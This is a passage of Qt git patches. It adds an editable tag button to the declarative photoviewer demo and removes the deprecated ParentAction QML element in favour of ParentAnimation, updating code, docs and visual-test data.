+ id: albumWrapper; width: 210; height: 220 VisualDataModel { id: visualModel; delegate: PhotoDelegate { } @@ -48,20 +47,15 @@ Component { } } + MouseArea { + anchors.fill: parent + onClicked: mainWindow.editMode ? photosModel.remove(index) : albumWrapper.state = 'inGrid' + } + Tag { anchors.horizontalCenter: parent.horizontalCenter; anchors.bottom: parent.bottom frontLabel: tag; backLabel: "Delete"; flipped: mainWindow.editMode - } - - MouseArea { - anchors.fill: parent - onClicked: { - if (mainWindow.editMode) { - photosModel.remove(index) - } else { - albumWrapper.state = 'inGrid' - } - } + onTagChanged: rssModel.tags = tag } states: [ diff --git a/demos/declarative/photoviewer/PhotoViewerCore/EditableButton.qml b/demos/declarative/photoviewer/PhotoViewerCore/EditableButton.qml new file mode 100644 index 0000000..1a529ea --- /dev/null +++ b/demos/declarative/photoviewer/PhotoViewerCore/EditableButton.qml @@ -0,0 +1,49 @@ +import Qt 4.6 + +Item { + id: container + + property string label + property string tint: "" + signal clicked + signal labelChanged(string label) + + width: labelText.width + 70 ; height: labelText.height + 18 + + BorderImage { + anchors { fill: container; leftMargin: -6; topMargin: -6; rightMargin: -8; bottomMargin: -8 } + source: 'images/box-shadow.png'; smooth: true + border.left: 10; border.top: 10; border.right: 10; border.bottom: 10 + } + + Image { anchors.fill: parent; source: "images/cardboard.png"; smooth: true } + + Rectangle { + anchors.fill: container; color: container.tint; visible: container.tint != "" + opacity: 0.1; smooth: true + } + + Text { id: labelText; text: label; font.pixelSize: 15; anchors.centerIn: parent; smooth: true } + + TextInput { + id: textInput; text: label; font.pixelSize: 15; anchors.centerIn: parent; smooth: true; visible: false + Keys.onReturnPressed: container.labelChanged(textInput.text) + } + + MouseArea { + anchors { fill: parent; leftMargin: -20; topMargin: -20; rightMargin: -20; bottomMargin: -20 } + onClicked: container.state = "editMode" + } + + states: State { + name: "editMode" + PropertyChanges { target: container; width: textInput.width + 70; height: textInput.height + 18 } + PropertyChanges { target: textInput; visible: true; focus: true } + PropertyChanges { target: labelText; visible: false } + } + + onLabelChanged: { + labelText.text = label + container.state = '' + } +} diff --git a/demos/declarative/photoviewer/PhotoViewerCore/Tag.qml b/demos/declarative/photoviewer/PhotoViewerCore/Tag.qml index 438bd7c..d1e26e0 100644 --- a/demos/declarative/photoviewer/PhotoViewerCore/Tag.qml +++ b/demos/declarative/photoviewer/PhotoViewerCore/Tag.qml @@ -12,11 +12,13 @@ Flipable { signal frontClicked signal backClicked + signal tagChanged(string tag) - front: Button { + front: EditableButton { id: frontButton; rotation: flipable.randomAngle anchors { centerIn: parent; verticalCenterOffset: -20 } onClicked: flipable.frontClicked() + onLabelChanged: flipable.tagChanged(label) } back: Button { diff --git a/demos/declarative/photoviewer/PhotoViewerCore/qmldir b/demos/declarative/photoviewer/PhotoViewerCore/qmldir index f94a560..d3c247f 100644 --- a/demos/declarative/photoviewer/PhotoViewerCore/qmldir +++ b/demos/declarative/photoviewer/PhotoViewerCore/qmldir @@ -2,6 +2,7 @@ AlbumDelegate AlbumDelegate.qml PhotoDelegate PhotoDelegate.qml ProgressBar ProgressBar.qml RssModel RssModel.qml +BusyIndicator BusyIndicator.qml +EditableButton EditableButton.qml Button Button.qml Tag Tag.qml -BusyIndicator BusyIndicator.qml -- cgit v0.12 From 7711d400e4ad4d65363bc910d76acdf0d1065195 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Tue, 23 Mar 2010 11:12:46 +1000 Subject: Remove ParentAction. It has been replaced with ParentAnimation. --- demos/declarative/flickr/flickr-desktop.qml | 10 +- demos/declarative/flickr/mobile/GridDelegate.qml | 10 +- doc/src/declarative/elements.qdoc | 1 - src/declarative/QmlChanges.txt | 1 + src/declarative/util/qdeclarativeanimation.cpp | 216 +--- src/declarative/util/qdeclarativeanimation_p.h | 27 - src/declarative/util/qdeclarativeanimation_p_p.h | 16 - .../util/qdeclarativestateoperations.cpp | 2 +- src/declarative/util/qdeclarativeutilmodule.cpp | 1 - .../animation/parentAction/data/parentAction.0.png | Bin 1652 -> 0 bytes .../animation/parentAction/data/parentAction.1.png | Bin 1492 -> 0 bytes .../animation/parentAction/data/parentAction.2.png | Bin 1424 -> 0 bytes .../animation/parentAction/data/parentAction.3.png | Bin 1583 -> 0 bytes .../animation/parentAction/data/parentAction.4.png | Bin 1640 -> 0 bytes .../animation/parentAction/data/parentAction.5.png | Bin 1640 -> 0 bytes .../animation/parentAction/data/parentAction.qml | 1207 -------------------- .../visual/animation/parentAction/parentAction.qml | 55 - 17 files changed, 19 insertions(+), 1527 deletions(-) delete mode 100644 tests/auto/declarative/visual/animation/parentAction/data/parentAction.0.png delete mode 100644 tests/auto/declarative/visual/animation/parentAction/data/parentAction.1.png delete mode 100644 tests/auto/declarative/visual/animation/parentAction/data/parentAction.2.png delete mode 100644 tests/auto/declarative/visual/animation/parentAction/data/parentAction.3.png delete mode 100644 tests/auto/declarative/visual/animation/parentAction/data/parentAction.4.png delete mode 100644 tests/auto/declarative/visual/animation/parentAction/data/parentAction.5.png delete mode 100644 tests/auto/declarative/visual/animation/parentAction/data/parentAction.qml delete mode 100644 tests/auto/declarative/visual/animation/parentAction/parentAction.qml diff --git a/demos/declarative/flickr/flickr-desktop.qml b/demos/declarative/flickr/flickr-desktop.qml index 4de2202..63b6ea2 100644 --- a/demos/declarative/flickr/flickr-desktop.qml +++ b/demos/declarative/flickr/flickr-desktop.qml @@ -83,15 +83,17 @@ Item { Transition { from: "*"; to: "Details" SequentialAnimation { - ParentAction { } - NumberAnimation { properties: "x,y,scale,opacity,angle"; duration: 500; easing.type: "InOutQuad" } + ParentAnimation { + NumberAnimation { properties: "x,y,scale,opacity,angle"; duration: 500; easing.type: "InOutQuad" } + } } }, Transition { from: "Details"; to: "*" SequentialAnimation { - ParentAction { } - NumberAnimation { properties: "x,y,scale,opacity,angle"; duration: 500; easing.type: "InOutQuad" } + ParentAnimation { + NumberAnimation { properties: "x,y,scale,opacity,angle"; duration: 500; easing.type: "InOutQuad" } + } PropertyAction { targets: wrapper; properties: "z" } } } diff --git a/demos/declarative/flickr/mobile/GridDelegate.qml b/demos/declarative/flickr/mobile/GridDelegate.qml index 767315c..b54585b 100644 --- a/demos/declarative/flickr/mobile/GridDelegate.qml +++ b/demos/declarative/flickr/mobile/GridDelegate.qml @@ -52,14 +52,16 @@ transitions: [ Transition { from: "Show"; to: "Details" - ParentAction { } - NumberAnimation { properties: "x,y"; duration: 500; easing.type: "InOutQuad" } + ParentAnimation { + NumberAnimation { properties: "x,y"; duration: 500; easing.type: "InOutQuad" } + } }, Transition { from: "Details"; to: "Show" SequentialAnimation { - ParentAction { } - NumberAnimation { properties: "x,y"; duration: 500; easing.type: "InOutQuad" } + ParentAnimation { + NumberAnimation { properties: "x,y"; duration: 500; easing.type: "InOutQuad" } + } PropertyAction { targets: wrapper; properties: "z" } } } diff --git a/doc/src/declarative/elements.qdoc b/doc/src/declarative/elements.qdoc index 75f8b97..e35d67c 100644 --- a/doc/src/declarative/elements.qdoc +++ b/doc/src/declarative/elements.qdoc @@ -78,7 +78,6 @@ The following table lists the QML elements provided by the Qt Declarative module \o \l ParentAnimation \o \l AnchorAnimation \o \l PropertyAction -\o \l ParentAction \o \l ScriptAction \o \l Transition \o \l SpringFollow diff --git a/src/declarative/QmlChanges.txt b/src/declarative/QmlChanges.txt index 5da0f13..1d96688 100644 --- a/src/declarative/QmlChanges.txt +++ b/src/declarative/QmlChanges.txt @@ -10,6 +10,7 @@ Removed DateTimeFormatter (use Qt.formatDateTime() instead) Using WebView now requires "import org.webkit 1.0" Using Particles now requires "import Qt.labs.particles 1.0" AnchorAnimation must now be used to animate anchor changes (and not NumberAnimation) +Removed ParentAction (use ParentAnimation instead) C++ API ------- diff --git a/src/declarative/util/qdeclarativeanimation.cpp b/src/declarative/util/qdeclarativeanimation.cpp index d47dcc5..858f9f2 100644 --- a/src/declarative/util/qdeclarativeanimation.cpp +++ b/src/declarative/util/qdeclarativeanimation.cpp @@ -1006,212 +1006,6 @@ void QDeclarativePropertyAction::transition(QDeclarativeStateActions &actions, } } - - -/*! - \qmlclass ParentAction QDeclarativeParentAction - \since 4.7 - \inherits Animation - \brief The ParentAction element allows parent changes during animation. - - ParentAction provides a way to specify at what point in a Transition a ParentChange should - occur. - \qml - State { - ParentChange { - target: myItem - parent: newParent - } - } - Transition { - SequentialAnimation { - PropertyAnimation { ... } - ParentAction {} //reparent myItem now - PropertyAnimation { ... } - } - } - \endqml - - It also provides a way to explicitly reparent an item during an animation. - \qml - SequentialAnimation { - ParentAction { target: myItem; parent: newParent } - PropertyAnimation {} - } - \endqml - - The ParentAction is immediate - it is not animated in any way. -*/ - -QDeclarativeParentAction::QDeclarativeParentAction(QObject *parent) -: QDeclarativeAbstractAnimation(*(new QDeclarativeParentActionPrivate), parent) -{ - Q_D(QDeclarativeParentAction); - d->init(); -} - -QDeclarativeParentAction::~QDeclarativeParentAction() -{ -} - -void QDeclarativeParentActionPrivate::init() -{ - Q_Q(QDeclarativeParentAction); - cpa = new QActionAnimation; - QDeclarative_setParent_noEvent(cpa, q); -} - -/*! - \qmlproperty Item ParentAction::target - - This property holds a target item to reparent. - - In the following example, \c myItem will be reparented by the ParentAction, while - \c myOtherItem will not. - \qml - State { - ParentChange { - target: myItem - parent: newParent - } - ParentChange { - target: myOtherItem - parent: otherNewParent - } - } - Transition { - SequentialAnimation { - PropertyAnimation { ... } - ParentAction { target: myItem } - PropertyAnimation { ... } - } - } - \endqml - - */ -QDeclarativeItem *QDeclarativeParentAction::object() const -{ - Q_D(const QDeclarativeParentAction); - return d->pcTarget; -} - -void QDeclarativeParentAction::setObject(QDeclarativeItem *target) -{ - Q_D(QDeclarativeParentAction); - d->pcTarget = target; -} - -/*! - \qmlproperty Item ParentAction::parent - - The item to reparent to (i.e. the new parent). - */ -QDeclarativeItem *QDeclarativeParentAction::parent() const -{ - Q_D(const QDeclarativeParentAction); - return d->pcParent; -} - -void QDeclarativeParentAction::setParent(QDeclarativeItem *parent) -{ - Q_D(QDeclarativeParentAction); - d->pcParent = parent; -} - -void QDeclarativeParentActionPrivate::doAction() -{ - QDeclarativeParentChange pc; - pc.setObject(pcTarget); - pc.setParent(pcParent); - pc.execute(); -} - -QAbstractAnimation *QDeclarativeParentAction::qtAnimation() -{ - Q_D(QDeclarativeParentAction); - return d->cpa; -} - -void QDeclarativeParentAction::transition(QDeclarativeStateActions &actions, - QDeclarativeProperties &modified, - TransitionDirection direction) -{ - Q_D(QDeclarativeParentAction); - Q_UNUSED(modified); - Q_UNUSED(direction); - - struct QDeclarativeParentActionData : public QAbstractAnimationAction - { - QDeclarativeParentActionData(): pc(0) {} - ~QDeclarativeParentActionData() { delete pc; } - - QDeclarativeStateActions actions; - bool reverse; - QDeclarativeParentChange *pc; - virtual void doAction() - { - for (int ii = 0; ii < actions.count(); ++ii) { - const QDeclarativeAction &action = actions.at(ii); - if (reverse) - action.event->reverse(); - else - action.event->execute(); - } - } - }; - - QDeclarativeParentActionData *data = new QDeclarativeParentActionData; - - //### need to correctly handle modified/done - - bool hasExplicit = false; - if (d->pcTarget && d->pcParent) { - data->reverse = false; - QDeclarativeAction myAction; - QDeclarativeParentChange *pc = new QDeclarativeParentChange; - pc->setObject(d->pcTarget); - pc->setParent(d->pcParent); - myAction.event = pc; - data->pc = pc; - data->actions << myAction; - hasExplicit = true; - } - - if (!hasExplicit) - for (int ii = 0; ii < actions.count(); ++ii) { - QDeclarativeAction &action = actions[ii]; - - if (action.event && action.event->typeName() == QLatin1String("ParentChange") - && (!d->pcTarget || static_cast(action.event)->object() == d->pcTarget)) { - QDeclarativeAction myAction = action; - data->reverse = action.reverseEvent; - //### this logic differs from PropertyAnimation - // (probably a result of modified vs. done) - if (d->pcParent) { - //### should we disallow this case? - QDeclarativeParentChange *pc = new QDeclarativeParentChange; - pc->setObject(d->pcTarget); - pc->setParent(static_cast(action.event)->parent()); - myAction.event = pc; - data->pc = pc; - data->actions << myAction; - break; //only match one - } else { - action.actionDone = true; - data->actions << myAction; - } - } - } - - if (data->actions.count()) { - d->cpa->setAnimAction(data, QAbstractAnimation::DeleteWhenStopped); - } else { - delete data; - } -} - - - /*! \qmlclass NumberAnimation QDeclarativeNumberAnimation \since 4.7 @@ -2561,10 +2355,10 @@ void QDeclarativeParentAnimation::transition(QDeclarativeStateActions &actions, { Q_D(QDeclarativeParentAnimation); - struct QDeclarativeParentActionData : public QAbstractAnimationAction + struct QDeclarativeParentAnimationData : public QAbstractAnimationAction { - QDeclarativeParentActionData() {} - ~QDeclarativeParentActionData() { qDeleteAll(pc); } + QDeclarativeParentAnimationData() {} + ~QDeclarativeParentAnimationData() { qDeleteAll(pc); } QDeclarativeStateActions actions; //### reverse should probably apply on a per-action basis @@ -2582,8 +2376,8 @@ void QDeclarativeParentAnimation::transition(QDeclarativeStateActions &actions, } }; - QDeclarativeParentActionData *data = new QDeclarativeParentActionData; - QDeclarativeParentActionData *viaData = new QDeclarativeParentActionData; + QDeclarativeParentAnimationData *data = new QDeclarativeParentAnimationData; + QDeclarativeParentAnimationData *viaData = new QDeclarativeParentAnimationData; bool hasExplicit = false; if (d->target && d->newParent) { diff --git a/src/declarative/util/qdeclarativeanimation_p.h b/src/declarative/util/qdeclarativeanimation_p.h index 925eb36..cb8ea3b 100644 --- a/src/declarative/util/qdeclarativeanimation_p.h +++ b/src/declarative/util/qdeclarativeanimation_p.h @@ -227,32 +227,6 @@ protected: }; class QDeclarativeItem; -class QDeclarativeParentActionPrivate; -class QDeclarativeParentAction : public QDeclarativeAbstractAnimation -{ - Q_OBJECT - Q_DECLARE_PRIVATE(QDeclarativeParentAction) - - Q_PROPERTY(QDeclarativeItem *target READ object WRITE setObject) - Q_PROPERTY(QDeclarativeItem *parent READ parent WRITE setParent) //### newParent - -public: - QDeclarativeParentAction(QObject *parent=0); - virtual ~QDeclarativeParentAction(); - - QDeclarativeItem *object() const; - void setObject(QDeclarativeItem *); - - QDeclarativeItem *parent() const; - void setParent(QDeclarativeItem *); - -protected: - virtual void transition(QDeclarativeStateActions &actions, - QDeclarativeProperties &modified, - TransitionDirection direction); - virtual QAbstractAnimation *qtAnimation(); -}; - class QDeclarativePropertyAnimationPrivate; class Q_AUTOTEST_EXPORT QDeclarativePropertyAnimation : public QDeclarativeAbstractAnimation { @@ -506,7 +480,6 @@ QML_DECLARE_TYPE(QDeclarativeAbstractAnimation) QML_DECLARE_TYPE(QDeclarativePauseAnimation) QML_DECLARE_TYPE(QDeclarativeScriptAction) QML_DECLARE_TYPE(QDeclarativePropertyAction) -QML_DECLARE_TYPE(QDeclarativeParentAction) QML_DECLARE_TYPE(QDeclarativePropertyAnimation) QML_DECLARE_TYPE(QDeclarativeColorAnimation) QML_DECLARE_TYPE(QDeclarativeNumberAnimation) diff --git a/src/declarative/util/qdeclarativeanimation_p_p.h b/src/declarative/util/qdeclarativeanimation_p_p.h index 0460312..8ed745d 100644 --- a/src/declarative/util/qdeclarativeanimation_p_p.h +++ b/src/declarative/util/qdeclarativeanimation_p_p.h @@ -300,22 +300,6 @@ public: QActionAnimation *spa; }; -class QDeclarativeParentActionPrivate : public QDeclarativeAbstractAnimationPrivate -{ - Q_DECLARE_PUBLIC(QDeclarativeParentAction) -public: - QDeclarativeParentActionPrivate() - : QDeclarativeAbstractAnimationPrivate(), pcTarget(0), pcParent(0) {} - - void init(); - - QDeclarativeItem *pcTarget; - QDeclarativeItem *pcParent; - - void doAction(); - QActionAnimation *cpa; -}; - class QDeclarativeAnimationGroupPrivate : public QDeclarativeAbstractAnimationPrivate { Q_DECLARE_PUBLIC(QDeclarativeAnimationGroup) diff --git a/src/declarative/util/qdeclarativestateoperations.cpp b/src/declarative/util/qdeclarativestateoperations.cpp index 96c75a9..163d220 100644 --- a/src/declarative/util/qdeclarativestateoperations.cpp +++ b/src/declarative/util/qdeclarativestateoperations.cpp @@ -168,7 +168,7 @@ void QDeclarativeParentChangePrivate::doChange(QDeclarativeItem *targetParent, Q for the original and new parent). You can specify at which point in a transition you want a ParentChange to occur by - using a ParentAnimation or ParentAction. + using a ParentAnimation. */ diff --git a/src/declarative/util/qdeclarativeutilmodule.cpp b/src/declarative/util/qdeclarativeutilmodule.cpp index cb35734..46c9b73 100644 --- a/src/declarative/util/qdeclarativeutilmodule.cpp +++ b/src/declarative/util/qdeclarativeutilmodule.cpp @@ -85,7 +85,6 @@ void QDeclarativeUtilModule::defineModule() qmlRegisterType("Qt",4,6,"NumberAnimation"); qmlRegisterType("Qt",4,6,"Package"); qmlRegisterType("Qt",4,6,"ParallelAnimation"); - qmlRegisterType("Qt",4,6,"ParentAction"); qmlRegisterType("Qt",4,6,"ParentAnimation"); qmlRegisterType("Qt",4,6,"ParentChange"); qmlRegisterType("Qt",4,6,"PauseAnimation"); diff --git a/tests/auto/declarative/visual/animation/parentAction/data/parentAction.0.png b/tests/auto/declarative/visual/animation/parentAction/data/parentAction.0.png deleted file mode 100644 index a0032f8..0000000 Binary files a/tests/auto/declarative/visual/animation/parentAction/data/parentAction.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/parentAction/data/parentAction.1.png b/tests/auto/declarative/visual/animation/parentAction/data/parentAction.1.png deleted file mode 100644 index 958b6af..0000000 Binary files a/tests/auto/declarative/visual/animation/parentAction/data/parentAction.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/parentAction/data/parentAction.2.png b/tests/auto/declarative/visual/animation/parentAction/data/parentAction.2.png deleted file mode 100644 index 3a1811f..0000000 Binary files a/tests/auto/declarative/visual/animation/parentAction/data/parentAction.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/parentAction/data/parentAction.3.png b/tests/auto/declarative/visual/animation/parentAction/data/parentAction.3.png deleted file mode 100644 index 36064c2..0000000 Binary files a/tests/auto/declarative/visual/animation/parentAction/data/parentAction.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/parentAction/data/parentAction.4.png b/tests/auto/declarative/visual/animation/parentAction/data/parentAction.4.png deleted file mode 100644 index c493a1d..0000000 Binary files a/tests/auto/declarative/visual/animation/parentAction/data/parentAction.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/parentAction/data/parentAction.5.png b/tests/auto/declarative/visual/animation/parentAction/data/parentAction.5.png deleted file mode 100644 index c493a1d..0000000 Binary files a/tests/auto/declarative/visual/animation/parentAction/data/parentAction.5.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/parentAction/data/parentAction.qml b/tests/auto/declarative/visual/animation/parentAction/data/parentAction.qml deleted file mode 100644 index de27af7..0000000 --- a/tests/auto/declarative/visual/animation/parentAction/data/parentAction.qml +++ /dev/null @@ -1,1207 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 32 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 48 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 64 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 80 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 96 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 112 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 128 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 144 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 160 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 176 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 192 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 208 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 224 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 240 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 256 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 272 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 288 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 304 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 320 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 336 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 352 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 368 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 384 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 400 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 416 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 432 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 448 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 464 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 480 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 496 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 512 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 528 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 544 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 560 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 576 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 150; y: 274 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 592 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 608 - hash: "a7bb3d44c8bcf403906afa86f5bc3062" - } - Frame { - msec: 624 - hash: "2b366e6009e70fa0227a1fee662fe1bf" - } - Frame { - msec: 640 - hash: "c12869fb8002aa36c3bfad7fd0979240" - } - Frame { - msec: 656 - hash: "56c583e77b5e0a8707e977dc937c2acf" - } - Frame { - msec: 672 - hash: "6b191d57a45a3f2d010a7f44064e409a" - } - Frame { - msec: 688 - hash: "9457ee33c999a63fa4bd4db5c3ceac8b" - } - Frame { - msec: 704 - hash: "446b23b662640ad6ad8c456f956fe73a" - } - Frame { - msec: 720 - hash: "23c59708069406486e4979c7d59f3f4a" - } - Frame { - msec: 736 - hash: "c9ce43ddca79b5b6f26af2c2259dc071" - } - Frame { - msec: 752 - hash: "e838229ba70c30112918f19bb471fa34" - } - Frame { - msec: 768 - hash: "0cbaeddb2ff6408a37a68fc685e2bca0" - } - Frame { - msec: 784 - hash: "616b4ec719586b151ba3d709e51038bf" - } - Frame { - msec: 800 - hash: "89b2c709f5c3083c204a9450e605c1d4" - } - Frame { - msec: 816 - hash: "427a5c2d13631d899ff2d673e762f114" - } - Frame { - msec: 832 - hash: "958aa9ca5a6b91aa6dfbc2a1ae3e2deb" - } - Frame { - msec: 848 - hash: "09a3ac0010ed8f3df2cfa7ed9d0a92e4" - } - Frame { - msec: 864 - hash: "5607ea54f9990f3232d6f56080e1ef15" - } - Frame { - msec: 880 - hash: "600682467c55288b9d5e65299637dd72" - } - Frame { - msec: 896 - hash: "bc7a238611574a13650f854ceac35032" - } - Frame { - msec: 912 - hash: "e5f6b19b3685a96d4d0c3b8384513643" - } - Frame { - msec: 928 - hash: "d5d23b0fc09136fd1ae121e311866cc3" - } - Frame { - msec: 944 - hash: "5099e5edd1a6bd37f5f6c836a6ca7644" - } - Frame { - msec: 960 - image: "parentAction.0.png" - } - Frame { - msec: 976 - hash: "97dd20f7774cfd8379e1d1b44f8ddc7b" - } - Frame { - msec: 992 - hash: "ab2deea9e4f8c43ed58b5a355800ecda" - } - Frame { - msec: 1008 - hash: "88ec383ce368259d3cc18612b6f5b941" - } - Frame { - msec: 1024 - hash: "f84b20b849a77e50717f99b9d844240e" - } - Frame { - msec: 1040 - hash: "6c042360c2d24ad56cec32d01ce82d6b" - } - Frame { - msec: 1056 - hash: "c86b464720192f3e039fa5d8ab5f09bb" - } - Frame { - msec: 1072 - hash: "35ec432fdf91fcd1dfcd945cfe785b09" - } - Frame { - msec: 1088 - hash: "27a2ec28e4fef006622e8211fd709853" - } - Frame { - msec: 1104 - hash: "8454d1f5ed89551e2a403c869885116a" - } - Frame { - msec: 1120 - hash: "7e33aed53dc4338c168274d972c8e711" - } - Frame { - msec: 1136 - hash: "e0192ea2049d6bae6012f00406630a92" - } - Frame { - msec: 1152 - hash: "a2ea5489a373084169024035a0f69e71" - } - Frame { - msec: 1168 - hash: "6947a72c4d959b90dafdaddcac815b3e" - } - Frame { - msec: 1184 - hash: "0e22cc3c96d0934095b7254f0f28b18b" - } - Frame { - msec: 1200 - hash: "72529ddc6f2678a783aedf445d7038a4" - } - Frame { - msec: 1216 - hash: "38f03c0ee50488ffd23a2fb3d3445461" - } - Frame { - msec: 1232 - hash: "b441721ed30c787874a2a71a94e1ba44" - } - Frame { - msec: 1248 - hash: "1e37f26d78590414b2ef01c72ad136a9" - } - Frame { - msec: 1264 - hash: "88e4af80d068485ebd8c3d51f9bbfe8d" - } - Frame { - msec: 1280 - hash: "107707216c16c629d8409cf006f9f2dc" - } - Frame { - msec: 1296 - hash: "f56f3f4f140ac072f7df47eddfc76844" - } - Frame { - msec: 1312 - hash: "41239a9d8ed793c24967875aabeae8a5" - } - Frame { - msec: 1328 - hash: "30035e37320dae4f9ead01a30895eb38" - } - Frame { - msec: 1344 - hash: "fb2f535b42b862b65f8adb3ad1a46779" - } - Frame { - msec: 1360 - hash: "e10ba7f74d52fc963e20a4647ff0d620" - } - Frame { - msec: 1376 - hash: "5abf5388566bed2fdb71afc8cd7cfe9b" - } - Frame { - msec: 1392 - hash: "91990471563e3c8292e8e8325a1d17a2" - } - Frame { - msec: 1408 - hash: "59a6293a48f83a9197adcffed3f32f15" - } - Frame { - msec: 1424 - hash: "db3e75df318e9f0d239ce9b76e92eff3" - } - Frame { - msec: 1440 - hash: "3b5c64bc64a701edb5c2e40b23443bc3" - } - Frame { - msec: 1456 - hash: "9db08c0375148b2317427591b5f43608" - } - Frame { - msec: 1472 - hash: "2d761f1530846eff87a7625a120e0afd" - } - Frame { - msec: 1488 - hash: "c5460f8c58b83c2ac15842ddb023ad4f" - } - Frame { - msec: 1504 - hash: "0efb51810a2dc359c7964268c98ea8eb" - } - Frame { - msec: 1520 - hash: "b92a42012df57eb261badf1f518b8e67" - } - Frame { - msec: 1536 - hash: "8d348bae62af2d35bdfee806a1c39910" - } - Frame { - msec: 1552 - hash: "762d9bb4ed11d249bfd902a541129d60" - } - Frame { - msec: 1568 - hash: "bddbd9f64a9f7156984feccd5fa94093" - } - Frame { - msec: 1584 - hash: "353a98e1573b0518941ff22bf2776244" - } - Frame { - msec: 1600 - hash: "1765aed97e29f25dee93a77a06557b82" - } - Frame { - msec: 1616 - hash: "73b5c2bdb7f268f7a33e129c8ba44013" - } - Frame { - msec: 1632 - hash: "46ac1976fb9932d0ef6e0b5927386ad9" - } - Frame { - msec: 1648 - hash: "90b5b5b46c9c352e8be41cc74f96133a" - } - Frame { - msec: 1664 - hash: "0efe0036577c890fd45cd7dd53014616" - } - Frame { - msec: 1680 - hash: "7f32df17481abf40ccb33afe6d17085d" - } - Frame { - msec: 1696 - hash: "1fa8544c48a476764f4f8278c14b651d" - } - Frame { - msec: 1712 - hash: "f8f06ece30f690deeba5999ce63bf40b" - } - Frame { - msec: 1728 - hash: "885b230f4b2fe380c7cf68955940d206" - } - Frame { - msec: 1744 - hash: "d0fc5aa4df46099bb46a1d7db30baa09" - } - Frame { - msec: 1760 - hash: "8fa7fe5197cbe1ff67f8a2c47f1f0740" - } - Frame { - msec: 1776 - hash: "aa3b3b03460daf54f085551e1a46c08b" - } - Frame { - msec: 1792 - hash: "35a1728a2430027a9474fb7d61090643" - } - Frame { - msec: 1808 - hash: "2b1cff3986b8b03f1061176a4722b0f9" - } - Frame { - msec: 1824 - hash: "8047be1b35ee3d5078a68c6cdc35eeb7" - } - Frame { - msec: 1840 - hash: "7f7afa48bb7d612b354c8488e72c8339" - } - Frame { - msec: 1856 - hash: "691a876caefce9aa0f5140c17059b8f4" - } - Frame { - msec: 1872 - hash: "903bec66e47db766dc431f060726988c" - } - Frame { - msec: 1888 - hash: "f13593fc891f0b050c01b61963019da1" - } - Frame { - msec: 1904 - hash: "aa00de965bdb370a5974b195c3fb38af" - } - Frame { - msec: 1920 - image: "parentAction.1.png" - } - Frame { - msec: 1936 - hash: "168d3e27261c0943e6262b6be27adfb0" - } - Frame { - msec: 1952 - hash: "6fafebd0b396e7c0a78c767c6af936ba" - } - Frame { - msec: 1968 - hash: "827e3a3fcd6fd8588e9fcc043769b3a8" - } - Frame { - msec: 1984 - hash: "155329bf1c1a6f6c37bf7e6e8a92c59b" - } - Frame { - msec: 2000 - hash: "d3008d1e7cee5170171699ef6fb9aa81" - } - Frame { - msec: 2016 - hash: "5c1244e7806e131a6063f22a66e4eb12" - } - Frame { - msec: 2032 - hash: "fcd6b372229a6cf14face81e9d614456" - } - Frame { - msec: 2048 - hash: "bf1a375a81bf43c5671cccc62e9a0462" - } - Frame { - msec: 2064 - hash: "0e22404508470baaa6621f37361951fa" - } - Frame { - msec: 2080 - hash: "45046f28c103caa161e41861f71731c4" - } - Frame { - msec: 2096 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2112 - hash: 